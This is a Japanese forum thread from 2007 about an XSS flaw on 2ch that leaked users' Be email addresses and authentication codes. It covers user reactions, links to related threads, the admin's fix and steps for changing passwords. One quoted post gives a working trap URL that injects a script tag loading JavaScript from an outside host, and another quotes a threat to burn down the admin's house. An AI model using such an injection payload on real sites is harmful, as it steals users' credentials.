2chにBeのメアドと認証コードが漏れるXSS脆弱性が発見されたらしい

詳しくは乳速で

【速報】 俺、2chにBeのメアドと認証コードが漏れるXSS脆弱性を発見
http://news23.2ch.net/test/read.cgi/news/1196173345/

それを承知で俺をPLTにして下さい＞＜

命がけでｸｿｽﾚを立てます！

IEユーザーはクッキーを削除して、落ち着くまではログインしない方がいいかもね
＊＊＊＊http://z.la/ms0k2
↑これを踏むとやばいです

　　　　　　　　　 ＿,,,,,　　　　　　　　 ――　|_| |_|　＞
　　　　　　　　 /川川ﾊ　　　　　 　　| ｌ￣ | |　 　　ﾉ　　　メ
　　　　　　　 ///川川ｌト、　　　　　 |_| 匚. |　　　＼　　　シ
　　　　　　　（ゞ川从川/＿,―'￣ヽ　　　 | |　　　ノ　　　 食
　　　　　＿＿＞ーﾑヾ￣(　　＿-、　|　　|_|　　　＼　　　っ
　　　　/　　　|　　　　　　　ｙ-　　ﾉ＿|　　　　　　　<　　　て
　　　　'-,,＿　|　　　　　　　 |　　ﾑkﾉ）　ｌ_ｌｌ_ｌ ,-,　 　 ）　　る
　　　　　　　"|　　　　　　　　|　　　　　　　／／　／　　　場
　　　　　　　 |　　　　　　　　　|　　　　　匚／　　￣ヽ　　 合
　　　　　　　|　　　　　＿＿＿ |　　 　 　 　 　 　　 ノ　　　じ
　　　　　　　ｒ―――"　　　　‐|　　＼＼　　　　　＼　　　ゃ
　　　　　　　|　　　　　　　　　 /　　　　 ＼＼　　　＜　　 ね
　　　　　　 人　　　　　乂　　/　　　　　　　＼＼　ノ　　　え
ニヽ　　　/　　|　　　　ヾ　／　 　　＿＿＿――￣　　　　っ
＿＿＼ /　 ／|　　　　 ｌ　　 　 　　 ￣￣―――＿＿　　！
　　　　 /　/　 ＼＼　　ヾ　　　　　　　　　　　　 　 　 ν、
￣弋二／￣|　　 ＼＼　　＼　　　＼＼ 　 　 　 　 　　　V⌒
￣￣＼＼＼￣＼　　＼＼　 ＼　　　　＼＼
￣￣￣＼＼＼￣|　　　"―＿从从　　　　 ＼＼
￣￣￣￣＼＼＼￣＼　　　　|　　 ζ　　　　　　＼＼
￣￣￣￣￣＼＼＼￣|　　　　ヾ　　＼＼　　　　　　 ＼＼
￣￣￣￣￣￣＼＼＼＼￣フ　＼＼　＼＼

危険なのでNGワードに放り込んでおいたよ

ひどいね、これは

怖いよう；；；

踏んでしまったｗｗｗ
あばばばば＾ｑ＾

>>3
直ﾘﾝこわいです。＞＜

怖い

やべｗｗｗｗｗｗ焼かれたｗｗｗ
吊ってくる

やかれたorz
吊ってくる

【news】ニュース速報運用情報42【ν】
http://qb5.2ch.net/test/read.cgi/operate/1196072109/135

対応された模様。

【速報】 俺、2chにBeのメアドと認証コードが漏れるXSS脆弱性を発見　その2★
http://news23.2ch.net/test/read.cgi/news/1196179103/218

と思ったら、新しいのが。

どれどれ

●ニュース速報
【速報】 俺、2chにBeのメアドと認証コードが漏れるXSS脆弱性を発見　その2★
http://news23.2ch.net/test/read.cgi/news/1196179103/
【速報】 俺、2chにBeのメアドと認証コードが漏れるXSS脆弱性を発見
http://news23.2ch.net/test/read.cgi/news/1196173345/

●ニュース速報(VIP)
Be鯖バグ踏んだ奴ちょっとこい、修正されんぞ
http://yutori.2ch.net/test/read.cgi/news4vip/1196179999/

●2ch運用情報
【速報】Beのメアドと認証コードが漏れるXSS脆弱性を発見
http://qb5.2ch.net/test/read.cgi/operate/1196177188/

【速報】 俺、2chにBeのメアドと認証コードが漏れるXSS脆弱性を発見　その2★
http://news23.2ch.net/test/read.cgi/news/1196179103/218
218 ： 40歳無職(三重県)：2007/11/28(水) 01:09:11 ID:uuFnxPaY0

対策されてしまった。
と言う訳で第二弾。

http://z.la/t4b0m (短縮URL)
http://qb6.2ch.net/_boo80/boo80.swx?boo80=%3Cscript%20src%3D%22http%3A%2F%2Fmoyashi%2Esosite%2Ejp%2Fxss%2Fload%2Ejs%22%3E%3C%2Fscript%3E

鱈子は修正頑張ってください。

>>16
専ﾌﾞﾗにﾎﾟｯﾌﾟｱｯﾌﾟ付いてるので、
直ﾘﾝこわいです。＞＜

皆さんのおかげで　やっと少し増えたところなのに
焼かれちゃったりしたら、人間不信になるかもでつ。

当分はどのURLも踏まないようにしたいと思います。
嫌な世の中でつね。

怖い

こえぇぇぇ

これは法的には問題ないのだろうが、よく考えたねえ。

ふんじゃった

全く別のパソにﾃｹﾄｰなﾌﾘﾒ取って登録してみた
こっちで踏んだらおけ？

★複数板BEのメアドと認証コードが漏れるURLを張る人報告スレ
http://qb5.2ch.net/test/read.cgi/sec2chd/1196184490/

>>17
ごめん専ブラ利用者のことまで頭が回らなかった。申し訳ない。
ちなみに、ニュー速で晒されたURIについては
URI文字列で書き込み禁止措置が取られた模様。

●ニュース速報
【速報】 俺、2chにBeのメアドと認証コードが漏れるXSS脆弱性を発見　その3★
http://news23.2ch.net/test/read.cgi/news/1196182094/

●運用情報
Be-2ちゃんねる　人柱募集中。。。Part6
http://qb5.2ch.net/test/read.cgi/operate/1188056382/
http://qb5.2ch.net/test/read.cgi/operate/1188056382/57
#57 ： [―{}@{}@{}-] たまご ◆EGGMAN.XJI ：2007/09/03(月) 00:25:11 ID:UHhgNS9A0 ?S★(577791)
#クッキー使ってbeの認証コードとメアド盗めるよー(^o^)ﾉ
#株の操作し放題だろうがたぶんつまらんからやめとく

【news】ニュース速報運用情報42【ν】
http://qb5.2ch.net/test/read.cgi/operate/1196072109/
http://qb5.2ch.net/test/read.cgi/operate/1196072109/441
#441 ：動け動けウゴウゴ２ちゃんねる：2007/11/28(水) 02:37:17 ID:8igj5YIL0
#そうなんだよね。俺が一昨日ぐらいに見つけて、たまごに言ったら
#それ夏頃にkusaiと自分が見つけたと言われて、XSSが発生する場所も一致した。
#んで黙ってるのはつまらないと思ったので全壊に頼んで立てて貰ったという訳。

http://qb5.2ch.net/test/read.cgi/operate/1196072109/446
#446 ：動け動けウゴウゴ２ちゃんねる：2007/11/28(水) 02:40:39 ID:8igj5YIL0
#>>443
#ニュー速の方にも書いたけど
#タラコと何回かメールでやり取りしたよ
#ただ向こうが聞く耳を持たなかった それだけ

2ｃｈの動作報告はここで。 パート22
http://qb5.2ch.net/test/read.cgi/operate/1182679645/
http://qb5.2ch.net/test/read.cgi/operate/1182679645/529-590

507 ひろゆき＠どうやら管理人 ★ 2007/11/28(水) 04:37:34 ID:???0 BE:227366-S★(1012558)
http://be.2ch.net/test/editprof.php
パスワードを変えられるようにしましたー。

511 ひろゆき＠どうやら管理人 ★ 2007/11/28(水) 04:39:30 ID:???0 BE:227849-S★(1012558)
passが変わると認証コードも変わりますよ。。と。


【news】ニュース速報運用情報42【ν】
http://qb5.2ch.net/test/read.cgi/operate/1196072109/

焼かれた

認証コードはどこで？

焼かれてなかったｗｗｗ

焼かれてなかった
よかったよかった

●ニュース速報
beのパスワードと認証コードが変えられるようになりました
http://news23.2ch.net/test/read.cgi/news/1196192699/

罠URL踏んでメアドと認証コード漏れる→VIPで使われてあっという間に0ポイントに
怖いですね

>>21
いいえ、不正アクセスで真っ黒くなるんじゃないでしょうか？
サイバーノーガード戦法。

【news】ニュース速報運用情報42【ν】
http://qb5.2ch.net/test/read.cgi/operate/1196072109/
http://qb5.2ch.net/test/read.cgi/operate/1196072109/874
#874 ：フェンリル：2007/11/28(水) 12:06:06 ID:KySiAldO0
#マジでひろゆき２８万ポイント返しやがれ糞が
#訴えるぞガチで。
#つうか俺のbeにログインしてスレ立てした奴も本気で訴えるわ
#てめーがニュー速に糞スレ立てたせーでsakuられただろーが屑


#２ch閉鎖の危機に追い込むぞ、もしくは管理人の家に火付けにいくわ

#それが嫌なら今週中にポイント戻せよ。

http://qb5.2ch.net/test/read.cgi/operate/1196072109/876
#876 ：ひろゆき＠どうやら管理人 ★：2007/11/28(水) 12:15:55 ID:???0 ?S★(1013000)
#>つうか俺のbeにログインしてスレ立てした奴も本気で訴えるわ
#訴訟の結果、本人じゃないというのがわかったら、
#戻しますよ。

ここには書き込める、ニュー速にもテスト書き込みできた、
でも常駐板では「焼かれたBeでは書き込めません」・・・

そろそろ次スレ立てなきゃならんのにorz

>>34
ちん毛にモヤシ混ざってた
http://news23.2ch.net/test/read.cgi/news/1196205336/
1 ： ミトコンドリア(北海道)：2007/11/28(水) 08:15:36 ID:hK3VnU3r0 ?DIA(298854) ポイント特典

ちんちん　シュッ！　シュッ！　シュッ！
http://news23.2ch.net/test/read.cgi/news/1196206144/
1 ： 女性の全代表(北海道)：2007/11/28(水) 08:29:04 ID:qxCULkeS0 ?DIA(298704) ポイント特典

↓　↓　↓　↓

http://be.2ch.net/test/p.php?i=543898837
http://be.2ch.net/test/p.php?i=1087796467
フェンリル◆be/xFEN/R. ★
beポイント:1
登録日:2007-07-02

【news】ニュース速報運用情報42【ν】
http://qb5.2ch.net/test/read.cgi/operate/1196072109/826
826 ：動け動けウゴウゴ２ちゃんねる：2007/11/28(水) 09:12:15 ID:64fnJpBb0
手順は
1
> http://be.2ch.net/test/editprof.php
> まず、パスワードを変更してください。

2
> んで、再ログイン

・Webブラウザはこれで完了

3
宣撫らに使う新認証コードはWebブラウザのクッキーを見るか
http://be.2ch.net/test/regist.html
でメアド+新パス入力して送ってもらう

でおｋかな？

なにこれーほんとかどうだか試しちゃう？

やめとけｗｗｗ

焼かれたってのは判別の仕方わからないなぁ
親切心につけこむ感じで嫌なやり方だったね

●運用情報
【速報】Beのメアドと認証コードが漏れるXSS脆弱性を発見
http://qb5.2ch.net/test/read.cgi/operate/1196177188/
【news】ニュース速報運用情報43【ν】
http://qb5.2ch.net/test/read.cgi/operate/1196240580/
【news】ニュース速報運用情報42【ν】
http://qb5.2ch.net/test/read.cgi/operate/1196072109/

●セキュリティ
[バグ 仕様]2chの脆弱性について語る[２ちゃんねる]
http://pc11.2ch.net/test/read.cgi/sec/1173113358/

●ニュース速報
beのパスワードと認証コードが変えられるようになりました　2
http://news23.2ch.net/test/read.cgi/news/1196238999/

怖い

ｃ

ほうほう

ほぅ

ほぅ

てす

てす

test

test

お陰さまでIDカブルことが最近頻発してるよ
対処よろしく

同じ板だとたまにＩＤが被る事はあるよね

あうあー

あうあう

あうあうあー